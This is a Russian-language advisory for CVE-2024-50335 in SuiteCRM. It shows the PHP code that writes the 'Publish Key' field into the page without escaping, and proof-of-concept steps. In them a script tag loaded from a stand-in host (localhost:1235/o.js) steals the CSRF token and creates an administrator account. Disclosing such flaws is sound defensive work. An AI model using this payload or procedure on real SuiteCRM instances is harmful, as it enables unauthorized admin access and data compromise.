CVE-2024-50335: Аутентифицированный XSS в поле "Ключ публикации", позволяющий несанкционированное создание пользователя-администратора

Краткое описание

Поле "Ключ публикации" (Publish Key) на странице редактирования профиля SuiteCRM уязвимо для отраженного межсайтового скриптинга (Reflected XSS), что позволяет злоумышленнику внедрить вредоносный JavaScript-код. Эта уязвимость может быть использована для кражи CSRF-токенов и выполнения несанкционированных действий, таких как создание новых административных пользователей без надлежащей аутентификации.

Подробности

Уязвимость возникает из-за недостаточной проверки ввода и санитизации поля "Ключ публикации" в приложении SuiteCRM. Когда злоумышленник внедряет вредоносный скрипт, он выполняется в контексте сессии аутентифицированного пользователя. Внедренный скрипт (o.js) затем использует захваченный CSRF-токен для подделки запросов, создающих новых административных пользователей, что фактически ставит под угрозу целостность и безопасность экземпляра CRM.

Влияние

Эта уязвимость является критической проблемой Cross-Site Scripting (XSS). Ее влияние включает:

1. Несанкционированный административный доступ: злоумышленник может создавать новых административных пользователей, потенциально получая полный контроль над экземпляром CRM.
2. Кража CSRF-токена: позволяет выполнять несанкционированные действия от имени аутентифицированных пользователей.
3. Компрометация целостности данных: возможность манипулировать учетными записями пользователей и настройками может привести к потере, утечке или несанкционированному изменению данных.

Уязвимый исходный код PHP

$publish_key = $this->bean->getPreference('calendar_publish_key');
$this->ss->assign('CALENDAR_PUBLISH_KEY', $publish_key);

$publish_url = $sugar_config['site_url'] . '/vcal_server.php';
$token = "/";

$publish_url .= $token . "type=vfb&source=outlook&key=<span id=\"cal_pub_key_span\">$publish_key</span>";
$ical_url = $sugar_config['site_url'] . "/ical_server.php?type=ics&key=<span id=\"ical_pub_key_span\">$publish_key</span>";

$this->ss->assign("CALENDAR_PUBLISH_URL", $publish_url);
$this->ss->assign("CALENDAR_ICAL_URL", $ical_url);

PoC

1. Войдите в SuiteCRM, используя действительные учетные данные администратора.
2. Перейдите к редактированию профиля: откройте страницу редактирования профиля учетной записи администратора.
3. В поле "Ключ публикации" на вкладке "Дополнительно" ("Advanced") внедрите следующий скрипт:

<script src=//localhost:1235/o.js>

4. Убедитесь, что o.js размещен на сервере localhost на порту 1235 и содержит код эксплойта, как описано в приведенном фрагменте JavaScript-кода.
5. Сохраните изменения в профиле администратора.
6. После перезагрузки страницы SuiteCRM вредоносный скрипт o.js выполняется, крадет CSRF-токен и использует его для создания нового административного пользователя со следующими учетными данными.

Имя пользователя - imposter
Пароль - ok

7. Войдите в систему с учетными данными только что созданного административного пользователя, чтобы подтвердить успешную эксплуатацию.

https://github.com/user-attachments/assets/cdf96f3d-7f61-4371-818b-e344efdcd197

Ссылки

• https://nvd.nist.gov/vuln/detail/CVE-2024-50335
• https://github.com/salesagility/SuiteCRM/security/advisories/GHSA-8rw6-g96j-3w7m